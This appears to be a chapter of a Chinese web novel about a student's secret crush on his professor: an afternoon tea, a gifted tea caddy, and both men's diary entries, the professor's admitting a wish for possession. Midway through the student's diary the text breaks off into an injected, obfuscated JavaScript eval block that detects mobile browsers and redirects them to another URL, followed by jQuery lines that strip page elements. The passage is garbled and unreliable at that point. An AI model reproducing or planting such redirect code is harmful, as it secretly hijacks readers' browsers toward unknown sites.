周六下午两点四十五分，陆知许站在教师办公楼五楼的走廊里。
他的手心里全是汗。
这一周过得像做梦一样，漫长又短暂。每天他都在数日子，从周一开始，一天一天地数，终于数到了周六。
而此刻，他站在这里，离那扇门只有十步的距离。
心跳快得像要炸开。
陆知许低头检查自己的衣着——白色衬衫，浅灰色针织开衫，黑色长裤。很普通的搭配，但他今天特意选了质地更好的衬衫，纽扣扣到最上面一颗，领口挺括，显得脖颈修长。
头发也仔细打理过，柔软蓬松，额前的碎发自然地垂下来，遮住了一点额头。
他还喷了一点香水——很淡的木质调，几乎闻不出来，但靠近了能隐约感觉到。
做完这一切，他又深呼吸了三次，才抬手敲门。
“请进。”
谢砚的声音从门内传来，比平时更低一些，带着一丝慵懒。
陆知许推门进去。
办公室里开着空调，温度适宜。谢砚今天没有坐在办公桌后，而是坐在靠窗的小沙发上。茶几上摆着一套茶具，还有一个小巧的白色瓷罐——茶叶罐。
他今天穿了一件深灰色的羊绒开衫，里面是浅蓝色的衬衫，领口解开了一颗纽扣，露出清晰的锁骨线条。袖子松松挽到手肘，露出线条流畅的小臂。
看到陆知许进来，他抬起头，嘴角勾起一个很浅的笑。
“来了？”他说，声音里带着一丝不易察觉的沙哑。
“教授。”陆知许小声打招呼，耳尖已经开始泛红。
他走到沙发前，没有立刻坐下，而是站在那里，有些局促。
“坐。”谢砚指了指对面的单人沙发，“别紧张。”
陆知许小心翼翼地坐下，背挺得笔直，双手规规矩矩地放在膝盖上。
茶几上除了茶具，还放着一个文件夹——是他的笔记本，还有他这周整理的大纲。
谢砚拿起那个文件夹，翻开，看了几眼，然后点头：“很认真。”
陆知许的心跳漏了一拍：“谢谢教授……”
“不过，”谢砚合上文件夹，抬眸看他，“今天先不讨论这些。”
陆知许愣住了：“那……”
“先喝茶。”谢砚说，拿起茶壶，开始泡茶。
他的动作很娴熟，热水冲下去，茶叶舒展，升起袅袅白烟。茶香在空气中弥漫开来，混合着办公室里淡淡的檀木香，有种让人放松的气息。
陆知许看着他泡茶的样子，一时间有些恍惚。
谢砚的手很稳，握住茶壶的手腕微微用力，能看见清晰的腕骨。他的手指修长，指尖因为热水的温度而微微泛红。
很美。
像一幅画。
“给。”谢砚把一杯茶推到他面前。
陆知许回过神，赶紧接过：“谢谢教授。”
他端起茶杯，浅浅抿了一口。
清香，微苦，回甘。
但比上次的龙井更醇厚，更……特别。
“这是什么茶？”他忍不住问。
“大红袍。”谢砚说，也端起一杯，轻轻吹了吹热气，“朋友从福建带回来的，说是那几棵母树旁边的。”
陆知许不懂茶，但听这个描述就知道很珍贵。
“这……太贵重了……”他小声说。
“茶就是要有人喝才有意义。”谢砚看着他，眼神很深，“一个人喝，再好的茶也没味道。”
陆知许的心脏狠狠跳了一下。
他不敢看谢砚的眼睛，只能低头盯着茶杯里漂浮的茶叶。
办公室里安静下来，只有茶水倒入杯中的细微声响。
窗外的阳光斜斜照进来，在茶几上投出温暖的光斑。空气中飘着茶香和檀木香，混合在一起，有种让人昏昏欲睡的安逸感。
陆知许慢慢放松下来，背也不再挺得那么直。
“这周睡得好吗？”谢砚突然问。
陆知许愣了一下，然后摇头：“还……还好。”
“黑眼圈淡了一点。”谢砚说，目光落在他脸上，“但还是有。”
陆知许下意识地摸了摸眼下：“我……我会注意休息的。”
“嗯。”谢砚点头，又给他添了点茶，“年轻也不能总熬夜。”
很普通的一句关心。
但陆知许却觉得，里面藏着别的意味。
他端起茶杯，又喝了一口。
茶很香，很暖。
暖到心里。
---
接下来的一个小时，他们真的没有讨论学术问题。
谢砚问了他一些很普通的事：这周上了什么课，有没有参加什么活动，周末一般做什么……
陆知许一一回答，声音很小，但很认真。
而谢砚就那样听着，偶尔点头，偶尔问一两个问题，偶尔……笑一笑。
那个笑很浅，但很真实。
不是礼貌性的微笑，是真正放松的、愉快的笑。
陆知许看着他的笑容，心脏又开始疯狂跳动。
他觉得自己像在做梦。
一个美好得不真实的梦。
梦里，谢砚坐在他对面，给他泡茶，对他笑，问他一些琐碎的问题。
梦里，他们之间的距离很近，近到他能闻到谢砚身上的味道——檀木香，混着一点淡淡的、像是某种沐浴露的清爽气息。
梦里，时间过得很慢，慢到每一秒都被拉长，像电影里的慢镜头。
但梦总会醒。
当墙上的时钟指向四点时，谢砚看了看时间，说：“差不多了。”
陆知许的心一沉。
“今天就这样吧。”谢砚说，站起身，“下周同一时间？”
陆知许也赶紧站起来：“好的教授。”
他收拾东西——其实没什么可收拾的，就一个笔记本和一个文件夹。
但动作很慢，像是在拖延时间。
谢砚没有催他，只是站在窗前，看着窗外。
等陆知许收拾好，走到门口时，谢砚突然开口：
“等等。”
陆知许停下脚步，回头看他。
谢砚走过来，手里拿着那个白色瓷罐——茶叶罐。
“这个给你。”他说，把罐子递过来。
陆知许愣住了：“教授，这……”
“茶叶而已。”谢砚说，语气很平淡，“我一个人喝不完。”
“可是……”陆知许还想拒绝。
但谢砚已经把罐子塞到他手里了。
指尖不可避免地碰到了。
温热的触感，很短暂，但很清晰。
陆知许像被烫到一样，手指微微颤抖，但还是紧紧握住了那个瓷罐。
罐子很精致，白色釉面光滑温润，上面用青花绘着一枝梅花，很雅致。
“谢谢教授……”他小声说，耳尖红透了。
“不客气。”谢砚说，“下周见。”
“下周见……”
陆知许抱着罐子，几乎是逃跑般地离开了办公室。
---
走廊里，陆知许背靠着墙壁，大口喘着气。
他的心跳快得像要炸开，脸颊烫得厉害。
手里的瓷罐还残留着谢砚的体温，温温热热的，透过掌心传到心里。
茶叶罐。
谢砚给他的茶叶罐。
不是借，是给。
陆知许把罐子紧紧抱在怀里，像抱着什么稀世珍宝。
然后他快步走下楼梯，走出办公楼，一直走到校园里一个僻静的角落，才停下来。
他坐在长椅上，小心翼翼地把罐子放在膝盖上，打开盖子。
里面是大半罐茶叶，深褐色的叶片蜷曲着，散发着浓郁的茶香。
陆知许深深吸了一口气。
香。
很香。
他盖上盖子，把罐子抱在怀里，闭上眼睛。
脑海里又开始回放刚才的每一个细节：
谢砚泡茶的样子。
谢砚对他笑的样子。
谢砚把罐子塞到他手里的样子。
还有……指尖碰触的那一瞬间。
温热的，短暂的，却足以让他铭记很久。
陆知许在长椅上坐了很久，直到太阳开始西沉，才起身离开。
他没有回宿舍，而是直接去了地下室。
---
收藏柜前，陆知许小心翼翼地打开玻璃门。
他把那个茶叶罐放在了最上层，和钢笔笔帽并排。
白色的瓷罐，银色的笔帽。
在黑色植绒布的衬托下，像两件艺术品。
陆知许后退两步，看着自己的收藏柜。
现在，这里面又多了一样东西：谢砚给的茶叶罐。
属于他的东西。
不，是谢砚给他的东西。
这个认知让陆知许心里涌起一股奇异的满足感——像是得到了某种许可，某种认可。
他拿出手机，对着柜子拍了几张照片。
然后他坐到小椅子上，打开那个带锁的笔记本，开始写今天的日记：
9月20日，周六，晴。
下午在办公室喝茶。
他泡了大红袍，很香，很珍贵。
他说“茶就是要有人喝才有意义，一个人喝，再好的茶也没味道”。
他没有和我讨论学术，只是聊天，问我的生活。
他对我笑，很真实的笑。
离开时他给了我茶叶罐，说是他一个人喝不完。
指尖碰到了，很短暂，但很清晰。
我把罐子放在了收藏柜里，和笔帽放在一起。
现在我有两样他的东西了。
写到这里，陆知许停顿了一下。
笔尖在纸面上悬了很久，然后继续写，字迹比之前更加用力：
我开始觉得，也许不是我一厢情愿。
也许他真的对我有特殊的感觉。
不然为什么要给我泡茶？为什么要和我聊天？为什么要送我茶叶？
可是……
万一只是我想多了呢？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301341|198640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
万一他只是把我当一个好学生呢？
矛盾的情绪在胸腔里冲撞，撞得他心口发闷。
陆知许合上笔记本，重新锁好。
然后他走到柜子前，打开玻璃门，拿出那个茶叶罐。
他把罐子抱在怀里，坐在地板上，背靠着柜子。
地下室里很安静，只有他的呼吸声。
他闭上眼睛，把脸贴在冰凉的玻璃柜门上。
玻璃很凉，但他心里却很热。
热得发烫。
---
同一时间，教师公寓。
谢砚站在书房的窗前，手里端着一杯茶。
茶已经凉了，但他没有喝，只是看着窗外渐沉的夜色。
脑海里反复回放着下午的场景。
陆知许抱着茶叶罐离开时的样子——耳尖红透，眼神慌乱，像只受惊的小兔子。
很可爱。
也很……让人想欺负。
谢砚想起自己把罐子塞到他手里时，指尖碰到的那一瞬间。
陆知许的手指很凉，微微颤抖。
但皮肤很软，很光滑。
像上好的丝绸。
谢砚闭上眼睛，深深吸了一口气。
他知道自己在玩火。
知道这样下去会失控。
但他停不下来。
就像现在，他已经开始期待下周六了。
期待看到陆知许抱着那个茶叶罐的样子，期待那双湿漉漉的眼睛再次专注地看着他，期待那对耳朵再次泛红。
期待……更多。
谢砚放下茶杯，走到书桌前，打开那个黑色笔记本。
翻到今天的那一页，开始写：
9月20日，周六，晴。
下午和他喝茶，大红袍。
没有讨论学术，只是聊天。
他很紧张，但慢慢放松下来。
眼睛很亮，笑起来很可爱。
离开时把茶叶罐给了他——说我一个人喝不完。
那是谎话。
我只是想给他点什么。
想看他收下时慌乱又开心的样子。
指尖碰到了，很短暂。
他的手很凉，很软。
写到这里，谢砚停顿了。
笔尖悬在纸面上方，久久没有落下。
他在犹豫要不要写下接下来的话。
最终，他还是写了：
我开始想要更多。
不只是喝茶，不只是聊天，不只是这种若即若离的暧昧。
我想要……
更近的距离。
更真实的触碰。
更彻底的占有。
写完这句，谢砚猛地合上笔记本，像是害怕看见自己写下的文字。
他靠在椅背上，闭上眼睛，胸口微微起伏。
窗外的夜色已经完全降临。
房间里没有开灯，只有窗外的月光洒进来，在地上投出淡淡的银辉。
谢砚在黑暗中坐了很久，直到手机震动，才回过神来。
是陆知许的消息：
“茶叶很好喝，谢谢教授。”
后面跟了一个乖巧的兔子表情。
谢砚盯着那个表情看了很久，然后回复：
“喜欢就好。”
发送。
然后他又补充了一句：
“下周见。”
发送。
很快，回复来了：
“嗯！下周见！”
后面跟了一个开心的星星表情。
谢砚看着那个星星表情，嘴角慢慢扬起。
然后他放下手机，走到窗前。
窗外，夜色深沉。
但有些东西，正在黑暗中悄悄生长。
像藤蔓，缠绕着心脏，越缠越紧。
但谢砚不想挣脱。
他愿意被缠绕。
愿意沉沦。
愿意……等待那个彻底失控的时刻。
---
宿舍里，陆知许抱着手机，盯着那两条消息看了很久。
“喜欢就好。”
“下周见。”
简单的两句话，却让他开心得想笑。
他把手机按在胸口，整个人倒在床上，嘴角控制不住地上扬。
下周见。
还有七天。
陆知许数着日子，心里满满的期待。
期待下一次见面，期待下一次喝茶，期待下一次……指尖的碰触。
虽然只是很短暂的碰触，但他已经满足了。
至少，他碰到了。
碰到了谢砚的手。
碰到了谢砚的温度。
陆知许翻了个身，面向墙壁，把脸埋进枕头里。
枕头下，手机还亮着，显示着那两条消息。
而窗外，月亮已经升到了中天。
清冷的月光透过窗帘缝隙洒进来，落在少年微微颤抖的睫毛上。
像一场无声的祝福。
祝福这场暗恋，能有开花结果的那一天。